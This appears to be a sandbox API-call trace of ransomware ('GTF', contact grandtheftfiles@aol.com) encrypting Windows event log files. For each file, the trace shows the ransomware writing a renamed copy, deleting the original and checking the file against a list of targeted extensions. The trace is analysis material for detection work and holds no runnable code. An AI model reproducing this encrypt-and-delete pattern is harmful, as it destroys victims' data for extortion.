	[0081.443] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0081.443] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.443] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.443] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0081.443] GetLastError () returned 0x0
	[0081.443] ReadFile (in: hFile=0x35c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.460] WriteFile (in: hFile=0x31c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.462] ReadFile (in: hFile=0x35c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.462] WriteFile (in: hFile=0x31c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x122, lpOverlapped=0x0) returned 1
	[0081.462] SetEndOfFile (hFile=0x31c) returned 1
	[0081.462] CloseHandle (hObject=0x31c) returned 1
	[0081.464] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.464] SetEndOfFile (hFile=0x35c) returned 1
	[0081.466] CloseHandle (hObject=0x35c) returned 1
	[0081.466] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.466] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1
	[0081.484] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0081.484] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0081.484] lstrlenW (lpString=".doc") returned 4
	[0081.484] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.484] lstrlenW (lpString=".docx") returned 5
	[0081.484] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.484] lstrlenW (lpString=".pdf") returned 4
	[0081.485] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.485] lstrlenW (lpString=".xls") returned 4
	[0081.485] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.485] lstrlenW (lpString=".xlsx") returned 5
	[0081.485] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.485] lstrlenW (lpString=".ppt") returned 4
	[0081.485] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0081.485] lstrlenW (lpString=".zip") returned 4
	[0081.485] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.485] lstrlenW (lpString=".rar") returned 4
	[0081.485] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.485] lstrlenW (lpString=".bz2") returned 4
	[0081.485] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.485] lstrlenW (lpString=".7z") returned 3
	[0081.485] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0081.485] lstrlenW (lpString=".dbf") returned 4
	[0081.485] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0081.485] lstrlenW (lpString=".1cd") returned 4
	[0081.485] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0081.485] lstrlenW (lpString=".jpg") returned 4
	[0081.485] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0081.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0081.485] lstrlenW (lpString=".doc") returned 4
	[0081.485] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.485] lstrlenW (lpString=".docx") returned 5
	[0081.485] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.485] lstrlenW (lpString=".pdf") returned 4
	[0081.485] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.485] lstrlenW (lpString=".xls") returned 4
	[0081.485] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.485] lstrlenW (lpString=".xlsx") returned 5
	[0081.485] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.486] lstrlenW (lpString=".ppt") returned 4
	[0081.486] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.486] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0081.486] lstrlenW (lpString=".zip") returned 4
	[0081.486] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.486] lstrlenW (lpString=".rar") returned 4
	[0081.486] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.486] lstrlenW (lpString=".bz2") returned 4
	[0081.486] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.486] lstrlenW (lpString=".7z") returned 3
	[0081.486] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.486] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0081.486] lstrlenW (lpString=".dbf") returned 4
	[0081.486] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.486] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0081.486] lstrlenW (lpString=".1cd") returned 4
	[0081.486] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.486] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0081.486] lstrlenW (lpString=".jpg") returned 4
	[0081.486] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.486] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.486] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40
	[0081.486] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0081.911] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0081.911] CloseHandle (hObject=0x2d0) returned 1
	[0081.911] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20
	[0081.911] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.911] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0081.911] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.911] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.911] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0081.912] GetLastError () returned 0x0
	[0081.912] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.915] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.916] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.917] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x124, lpOverlapped=0x0) returned 1
	[0081.917] SetEndOfFile (hFile=0x398) returned 1
	[0081.917] CloseHandle (hObject=0x398) returned 1
	[0081.919] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.919] SetEndOfFile (hFile=0x2d0) returned 1
	[0081.920] CloseHandle (hObject=0x2d0) returned 1
	[0081.920] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.921] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1
	[0081.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0081.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0081.921] lstrlenW (lpString=".doc") returned 4
	[0081.921] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.921] lstrlenW (lpString=".docx") returned 5
	[0081.921] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.921] lstrlenW (lpString=".pdf") returned 4
	[0081.921] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.921] lstrlenW (lpString=".xls") returned 4
	[0081.921] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.921] lstrlenW (lpString=".xlsx") returned 5
	[0081.921] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.921] lstrlenW (lpString=".ppt") returned 4
	[0081.921] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0081.921] lstrlenW (lpString=".zip") returned 4
	[0081.921] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.921] lstrlenW (lpString=".rar") returned 4
	[0081.921] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.921] lstrlenW (lpString=".bz2") returned 4
	[0081.921] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.921] lstrlenW (lpString=".7z") returned 3
	[0081.921] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0081.921] lstrlenW (lpString=".dbf") returned 4
	[0081.921] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0081.921] lstrlenW (lpString=".1cd") returned 4
	[0081.922] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0081.922] lstrlenW (lpString=".jpg") returned 4
	[0081.922] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0081.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0081.922] lstrlenW (lpString=".doc") returned 4
	[0081.922] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.922] lstrlenW (lpString=".docx") returned 5
	[0081.922] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.922] lstrlenW (lpString=".pdf") returned 4
	[0081.922] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.922] lstrlenW (lpString=".xls") returned 4
	[0081.922] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.922] lstrlenW (lpString=".xlsx") returned 5
	[0081.922] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.922] lstrlenW (lpString=".ppt") returned 4
	[0081.922] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0081.922] lstrlenW (lpString=".zip") returned 4
	[0081.922] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.922] lstrlenW (lpString=".rar") returned 4
	[0081.922] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.922] lstrlenW (lpString=".bz2") returned 4
	[0081.922] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.922] lstrlenW (lpString=".7z") returned 3
	[0081.922] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0081.922] lstrlenW (lpString=".dbf") returned 4
	[0081.922] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0081.922] lstrlenW (lpString=".1cd") returned 4
	[0081.922] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0081.922] lstrlenW (lpString=".jpg") returned 4
	[0081.923] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.923] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.923] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47
	[0081.923] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0081.923] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0081.923] CloseHandle (hObject=0x2d0) returned 1
	[0081.923] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20
	[0081.923] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.923] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0081.923] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.923] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.923] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0081.924] GetLastError () returned 0x0
	[0081.924] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.927] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.929] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.929] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x132, lpOverlapped=0x0) returned 1
	[0081.929] SetEndOfFile (hFile=0x398) returned 1
	[0081.929] CloseHandle (hObject=0x398) returned 1
	[0081.931] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.931] SetEndOfFile (hFile=0x2d0) returned 1
	[0081.932] CloseHandle (hObject=0x2d0) returned 1
	[0081.933] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.933] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1
	[0081.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0081.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0081.933] lstrlenW (lpString=".doc") returned 4
	[0081.933] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.933] lstrlenW (lpString=".docx") returned 5
	[0081.933] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.933] lstrlenW (lpString=".pdf") returned 4
	[0081.933] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.933] lstrlenW (lpString=".xls") returned 4
	[0081.933] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.933] lstrlenW (lpString=".xlsx") returned 5
	[0081.933] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.933] lstrlenW (lpString=".ppt") returned 4
	[0081.933] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0081.933] lstrlenW (lpString=".zip") returned 4
	[0081.933] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.933] lstrlenW (lpString=".rar") returned 4
	[0081.933] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.934] lstrlenW (lpString=".bz2") returned 4
	[0081.934] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.934] lstrlenW (lpString=".7z") returned 3
	[0081.934] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0081.934] lstrlenW (lpString=".dbf") returned 4
	[0081.934] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0081.934] lstrlenW (lpString=".1cd") returned 4
	[0081.934] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0081.934] lstrlenW (lpString=".jpg") returned 4
	[0081.934] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0081.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0081.934] lstrlenW (lpString=".doc") returned 4
	[0081.934] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.934] lstrlenW (lpString=".docx") returned 5
	[0081.934] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.934] lstrlenW (lpString=".pdf") returned 4
	[0081.934] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.934] lstrlenW (lpString=".xls") returned 4
	[0081.934] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.934] lstrlenW (lpString=".xlsx") returned 5
	[0081.934] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.934] lstrlenW (lpString=".ppt") returned 4
	[0081.934] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0081.934] lstrlenW (lpString=".zip") returned 4
	[0081.934] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.934] lstrlenW (lpString=".rar") returned 4
	[0081.934] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.934] lstrlenW (lpString=".bz2") returned 4
	[0081.934] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.934] lstrlenW (lpString=".7z") returned 3
	[0081.935] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.935] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0081.935] lstrlenW (lpString=".dbf") returned 4
	[0081.935] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.935] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0081.935] lstrlenW (lpString=".1cd") returned 4
	[0081.935] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.935] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0081.935] lstrlenW (lpString=".jpg") returned 4
	[0081.935] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.935] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.935] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47
	[0081.935] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0081.935] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0081.935] CloseHandle (hObject=0x2d0) returned 1
	[0081.935] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20
	[0081.935] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.935] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0081.936] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.936] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.936] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0081.937] GetLastError () returned 0x0
	[0081.937] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
